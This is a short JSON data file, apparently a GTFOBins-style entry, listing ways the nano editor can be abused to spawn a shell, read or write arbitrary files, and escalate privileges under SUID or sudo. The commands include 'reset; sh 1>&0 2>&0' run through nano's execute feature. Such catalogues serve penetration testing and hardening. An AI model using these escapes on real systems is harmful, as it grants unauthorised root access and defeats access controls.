You cannot select more than 25 topics
Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
34 lines
797 B
JSON
34 lines
797 B
JSON
{
|
|
"functions": {
|
|
"shell": [
|
|
{
|
|
"code": "nano\n^R^X\nreset; sh 1>&0 2>&0\n"
|
|
},
|
|
{
|
|
"description": "The 'SPELL' environment variable can be used in place of the '-s' option if the command line cannot be changed.",
|
|
"code": "nano -s /bin/sh\n/bin/sh\n^T\n"
|
|
}
|
|
],
|
|
"file-write": [
|
|
{
|
|
"code": "nano [file]\nDATA\n^O\n"
|
|
}
|
|
],
|
|
"file-read": [
|
|
{
|
|
"code": "nano [file]"
|
|
}
|
|
],
|
|
"suid": [
|
|
{
|
|
"description": "The 'SPELL' environment variable can be used in place of the '-s' option if the command line cannot be changed.",
|
|
"code": "./nano\n^R^X\nreset; sh 1>&0 2>&0\n"
|
|
}
|
|
],
|
|
"sudo": [
|
|
{
|
|
"code": "sudo nano\n^R^X\nreset; sh 1>&0 2>&0\n"
|
|
}
|
|
]
|
|
}
|
|
} |